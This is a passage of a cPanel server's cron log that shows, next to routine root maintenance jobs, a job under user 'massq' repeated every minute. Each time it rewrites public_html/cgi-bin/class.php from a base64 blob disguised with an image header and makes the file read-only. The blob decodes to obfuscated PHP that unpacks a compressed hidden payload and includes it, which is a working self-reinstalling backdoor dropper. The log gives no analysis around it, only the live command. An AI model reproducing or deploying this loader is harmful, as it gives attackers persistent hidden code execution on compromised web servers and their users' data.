LSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:33:01 server CROND[21414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:34:01 server CROND[21493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:35:01 server CROND[21561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:35:01 server CROND[21563]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 10:35:01 server CROND[21564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:35:01 server CROND[21566]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 10:35:01 server CROND[21565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:36:01 server CROND[21672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:37:01 server CROND[21816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:38:01 server CROND[21861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:39:01 server CROND[21906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:39:01 server CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 10:40:01 server CROND[21945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:40:01 server CROND[21950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:40:01 server CROND[21949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 10:40:01 server CROND[21947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:41:01 server CROND[22040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:42:01 server CROND[22184]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 10:42:01 server CROND[22185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:43:01 server CROND[22256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:44:01 server CROND[22324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:45:01 server CROND[22382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:45:01 server CROND[22383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:45:01 server CROND[22384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:46:01 server CROND[22487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 